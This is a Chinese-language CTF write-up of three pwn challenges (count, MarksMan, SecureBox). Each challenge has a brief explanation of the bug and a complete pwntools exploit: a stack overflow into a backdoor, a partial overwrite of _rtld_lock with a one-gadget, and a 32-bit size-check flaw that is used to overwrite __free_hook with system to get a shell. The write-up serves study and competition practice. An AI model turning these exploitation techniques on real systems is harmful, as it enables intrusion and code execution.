虎符ctf部分pwn题解

count

ARM pwn,虽然本地运行不起来,但是也不需要,直接挂远程就行了,

先是200次循环计算出结果后,输入一串字符处有溢出,将变量覆盖为0x12235612调用后门

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf-8
from pwn import *
import sys

local = 0

if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('')
else:
p = remote("39.97.210.182","40285")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

time = 0

while time < 200:
ru("levels ~")
ru("Math: ")
a = int(rc(2))
ru("* ")
b = int(rc(2))
ru("+ ")
c = int(rc(2))
ru("+ ")
d = int(rc(2))
res = a*b+c+d
sla("answer:",str(res))
ru('\n')
time += 1
log.info("time --> %d",time)
sl(0x64*'a' + p64(0x12235612))
p.interactive()

MarksMan

直接给了libc,而且有一次任意地址写的操作,可以写3个字节;但是程序保护全开

写操作结束后调用dlopen,最后退出

所以我们可以修改_rtld_lock为onegadget

但是这里又有一个问题,onegadget总共3个,前两个栈结构不满足无法使用,而第三个却被作者ban了

这里我选择拆解汇编onegadget = libc_base + one[2] - 5

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding:utf-8
from pwn import *
import sys

local = 1

if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./chall')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = [0x45216,0x4526a,0xf02a4,0xf1147]
else:
p = remote("39.97.210.182","10055")
libc = ELF('./libc.so.6')
one = [0x4f2c5,0x4f322,0x10a38c]

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

ru("near: ")
puts_addr = int(ru('\n').strip('\n'),16)
show("puts_addr",puts_addr)
debug()
libc_base = puts_addr - libc.symbols['puts']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
onegadget = libc_base + one[2] - 5
show("libc_base",libc_base)
show("onegadget",onegadget)
# fini = libc_base + 0x7d82a8
# fini = libc_base + 0x5deac0
# fini = libc_base + 0x7f4f48 #libc2.23
fini = libc_base + 0x81df60 #libc2.27

show("fini",fini)
a = onegadget & 0xff
b = (onegadget & 0xff00) >> 8
c = (onegadget & 0xff0000) >> 16
show('a',a)
show('b',b)
show('c',c)
# pause()
# debug(0xd63)
sla("shoot!\n",str(fini))
sla("biang!\n",chr(a))
sla("biang!\n",chr(b))
sla("biang!\n",chr(c))
p.interactive()

# p &_rtld_global._dl_rtld_lock_recursive

SecureBox

1
2
3
4
5
1.Allocate
2.Delete
3.Enc
4.Show
5.Exit

4个功能,且对于写入的数据会去亦或一组随机数,但是这组随机数在allocate的时候就给我们了,所以这里问题不大,show函数可以泄漏出libc,但是也只有泄漏的作用。过了几篇这些功能函数并没有发现其它漏洞的存在。

这里吸取教训,做pwn的时候不能完全依赖IDA反编译出来的伪C代码;赛后经师傅提醒才发现题目的漏洞点:

在Allocate函数中这一句if ( size > 0x100 && size <= 0xFFF )这是对 堆块大小进行的判断,这样看起来一点问题都没有,我们回到汇编去看

在检测下界的时候用的是[rbp+size],这没问题,但是在检测上界的时候却用eax,也就是拿32位的寄存器去检测一个64位的值,所以这里就能往上溢出,给一个很大的size,使得malloc返回0,再结合Enc中的Offset of msg就可以做到任意地址写

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#coding:utf-8
from pwn import *
import sys

local = 1

if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./chall')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = [0x45216,0x4526a,0xf02a4,0xf1147]
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202060)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def info(name,addr):
log.info(name + " --> %s",hex(addr))
def allocate(size):
sla("Exit\n",'1')
sla("Size: \n",str(size))
def delete(idx):
sla("Exit\n",'2')
sla("ID: \n",str(idx))
def enc(idx,start,l,data):
sla("Exit\n",'3')
sla("ID: \n",str(idx))
sla("msg: \n",str(start))
sla("msg: \n",str(l))
sla("Msg: \n",data)
def show(idx,start,l):
sla("Exit\n",'4')
sla("ID: \n",str(idx))
sla("msg: \n",str(start))
sla("msg: \n",str(l))

# debug(0xef4)

allocate(0x101) #0
allocate(0x101) #1
ru("Key: \n")
key1 = []
for i in range(0x10):
key1.append(int(ru(" ").strip(" "),16))
delete(0)
allocate(0x101) #0
show(0,0,8)
ru("Msg: \n")
main_arena = u64(rc(6).ljust(8,'\x00')) - 88
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
onegadget = libc_base + one[0]
info("main_arena",main_arena)

allocate(0x1000000000fff) #2
ru("Key: \n")
key2 = []
for i in range(0x10):
key2.append(int(ru(" ").strip(" "),16))
pay = ""
s = p64(system)
for i in range(8):
pay += chr(ord(s[i])^key2[i])
# debug(0x1199)
enc(2,free_hook,8,pay)
pay = ""
s = "/bin/sh\x00"
for i in range(8):
pay += chr(ord(s[i])^key1[i])
enc(1,0,8,pay)
delete(1)
p.interactive()
0%